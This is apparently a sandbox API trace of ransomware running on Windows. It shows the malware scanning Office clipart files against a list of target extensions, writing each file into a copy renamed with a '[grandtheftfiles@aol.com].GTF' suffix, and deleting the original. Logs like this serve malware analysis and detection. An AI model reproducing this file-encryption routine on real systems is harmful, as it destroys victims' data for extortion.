	[0171.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.899] lstrlenW (lpString=".zip") returned 4
	[0171.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.899] lstrlenW (lpString=".rar") returned 4
	[0171.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.899] lstrlenW (lpString=".bz2") returned 4
	[0171.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.899] lstrlenW (lpString=".7z") returned 3
	[0171.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.899] lstrlenW (lpString=".dbf") returned 4
	[0171.899] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.899] lstrlenW (lpString=".1cd") returned 4
	[0171.899] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF") returned 68
	[0171.899] lstrlenW (lpString=".jpg") returned 4
	[0171.899] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.899] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.899] lstrlenW (lpString="J0107744.WMF") returned 12
	[0171.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.597] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=5004) returned 1
	[0172.597] CloseHandle (hObject=0x534) returned 1
	[0172.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 0x220
	[0172.597] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.597] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.597] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.597] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.599] GetLastError () returned 0x0
	[0172.599] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x138c, lpOverlapped=0x0) returned 1
	[0172.601] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0x1390, lpOverlapped=0x0) returned 1
	[0172.602] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.602] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.602] SetEndOfFile (hFile=0x48c) returned 1
	[0172.602] CloseHandle (hObject=0x48c) returned 1
	[0172.603] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.603] SetEndOfFile (hFile=0x534) returned 1
	[0172.605] CloseHandle (hObject=0x534) returned 1
	[0172.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107744.wmf")) returned 1
	[0172.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.607] lstrlenW (lpString=".doc") returned 4
	[0172.607] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString=".docx") returned 5
	[0172.607] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.607] lstrlenW (lpString=".pdf") returned 4
	[0172.607] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString=".xls") returned 4
	[0172.607] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.607] lstrlenW (lpString=".xlsx") returned 5
	[0172.607] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.607] lstrlenW (lpString=".ppt") returned 4
	[0172.607] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.607] lstrlenW (lpString=".zip") returned 4
	[0172.607] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.607] lstrlenW (lpString=".rar") returned 4
	[0172.607] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString=".bz2") returned 4
	[0172.607] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString=".7z") returned 3
	[0172.607] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.607] lstrlenW (lpString=".dbf") returned 4
	[0172.607] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.607] lstrlenW (lpString=".1cd") returned 4
	[0172.607] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.607] lstrlenW (lpString=".jpg") returned 4
	[0172.607] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.608] lstrlenW (lpString=".doc") returned 4
	[0172.608] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString=".docx") returned 5
	[0172.608] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0172.608] lstrlenW (lpString=".pdf") returned 4
	[0172.608] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString=".xls") returned 4
	[0172.608] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.608] lstrlenW (lpString=".xlsx") returned 5
	[0172.608] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0172.608] lstrlenW (lpString=".ppt") returned 4
	[0172.608] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.608] lstrlenW (lpString=".zip") returned 4
	[0172.608] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.608] lstrlenW (lpString=".rar") returned 4
	[0172.608] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString=".bz2") returned 4
	[0172.608] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString=".7z") returned 3
	[0172.608] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.608] lstrlenW (lpString=".dbf") returned 4
	[0172.608] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.608] lstrlenW (lpString=".1cd") returned 4
	[0172.608] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107744.WMF") returned 68
	[0172.608] lstrlenW (lpString=".jpg") returned 4
	[0172.608] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.609] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0172.609] lstrlenW (lpString="J0145212.JPG") returned 12
	[0172.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.609] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=61633) returned 1
	[0172.609] CloseHandle (hObject=0x534) returned 1
	[0172.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 0x220
	[0172.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.611] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.611] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.612] GetLastError () returned 0x0
	[0172.612] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xf0c1, lpOverlapped=0x0) returned 1
	[0172.616] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xf0d0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xf0d0, lpOverlapped=0x0) returned 1
	[0172.618] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.618] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.618] SetEndOfFile (hFile=0x48c) returned 1
	[0172.618] CloseHandle (hObject=0x48c) returned 1
	[0172.619] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.619] SetEndOfFile (hFile=0x534) returned 1
	[0172.622] CloseHandle (hObject=0x534) returned 1
	[0172.622] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0172.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145212.jpg")) returned 1
	[0172.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.624] lstrlenW (lpString=".doc") returned 4
	[0172.624] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0172.624] lstrlenW (lpString=".docx") returned 5
	[0172.624] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0172.624] lstrlenW (lpString=".pdf") returned 4
	[0172.624] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0172.624] lstrlenW (lpString=".xls") returned 4
	[0172.624] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0172.624] lstrlenW (lpString=".xlsx") returned 5
	[0172.624] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0172.624] lstrlenW (lpString=".ppt") returned 4
	[0172.624] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0172.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.624] lstrlenW (lpString=".zip") returned 4
	[0172.624] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0172.624] lstrlenW (lpString=".rar") returned 4
	[0172.624] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0172.624] lstrlenW (lpString=".bz2") returned 4
	[0172.624] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0172.624] lstrlenW (lpString=".7z") returned 3
	[0172.624] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0172.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.624] lstrlenW (lpString=".dbf") returned 4
	[0172.624] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0172.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.624] lstrlenW (lpString=".1cd") returned 4
	[0172.624] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0172.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.624] lstrlenW (lpString=".jpg") returned 4
	[0172.624] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.625] lstrlenW (lpString=".doc") returned 4
	[0172.625] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0172.625] lstrlenW (lpString=".docx") returned 5
	[0172.625] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0172.625] lstrlenW (lpString=".pdf") returned 4
	[0172.625] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0172.625] lstrlenW (lpString=".xls") returned 4
	[0172.625] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0172.625] lstrlenW (lpString=".xlsx") returned 5
	[0172.625] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0172.625] lstrlenW (lpString=".ppt") returned 4
	[0172.625] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.625] lstrlenW (lpString=".zip") returned 4
	[0172.625] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0172.625] lstrlenW (lpString=".rar") returned 4
	[0172.625] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0172.625] lstrlenW (lpString=".bz2") returned 4
	[0172.625] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0172.625] lstrlenW (lpString=".7z") returned 3
	[0172.625] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.625] lstrlenW (lpString=".dbf") returned 4
	[0172.625] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0172.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.625] lstrlenW (lpString=".1cd") returned 4
	[0172.625] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0172.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145212.JPG") returned 68
	[0172.626] lstrlenW (lpString=".jpg") returned 4
	[0172.626] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0172.626] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0172.626] lstrlenW (lpString="J0145272.JPG") returned 12
	[0172.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.627] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=49238) returned 1
	[0172.627] CloseHandle (hObject=0x534) returned 1
	[0172.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 0x220
	[0172.627] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0172.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0172.628] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.628] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c
	[0172.628] GetLastError () returned 0x0
	[0172.628] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0xc056, lpOverlapped=0x0) returned 1
	[0172.632] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xc060, lpOverlapped=0x0) returned 1
	[0172.798] ReadFile (in: hFile=0x534, lpBuffer=0x3dd4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.798] WriteFile (in: hFile=0x48c, lpBuffer=0x3dd4020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3dd4020*, lpNumberOfBytesWritten=0x338fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.799] SetEndOfFile (hFile=0x48c) returned 1
	[0172.800] CloseHandle (hObject=0x48c) returned 1
	[0172.801] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.801] SetEndOfFile (hFile=0x534) returned 1
	[0172.815] CloseHandle (hObject=0x534) returned 1
	[0172.815] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0173.122] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145272.jpg")) returned 1
	[0173.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.885] lstrlenW (lpString=".doc") returned 4
	[0173.885] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0173.885] lstrlenW (lpString=".docx") returned 5
	[0173.885] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0173.885] lstrlenW (lpString=".pdf") returned 4
	[0173.885] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0173.885] lstrlenW (lpString=".xls") returned 4
	[0173.885] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0173.885] lstrlenW (lpString=".xlsx") returned 5
	[0173.885] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0173.885] lstrlenW (lpString=".ppt") returned 4
	[0173.885] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0173.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.885] lstrlenW (lpString=".zip") returned 4
	[0173.885] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0173.885] lstrlenW (lpString=".rar") returned 4
	[0173.885] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0173.885] lstrlenW (lpString=".bz2") returned 4
	[0173.885] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0173.885] lstrlenW (lpString=".7z") returned 3
	[0173.885] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0173.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.886] lstrlenW (lpString=".dbf") returned 4
	[0173.886] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0173.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.886] lstrlenW (lpString=".1cd") returned 4
	[0173.886] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0173.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.886] lstrlenW (lpString=".jpg") returned 4
	[0173.886] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0173.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.886] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145272.JPG") returned 68
	[0173.886] lstrlenW (lpString=".doc") returned 4
	[0173.886] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0173.886] lstrlenW (lpString=".docx") returned 5
	[0173.886] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0173.886] lstrlenW (lpString=".pdf") returned 4
	[0173.886] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0173.886] lstrlenW (lpString=".xls") returned 4
	[0173.886] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0173.886] lstrlenW (lpString=".xlsx") returned 5
	[0173.886] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0173.886] lstrlenW (lpString=".ppt") returned 4
	[0173.886] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
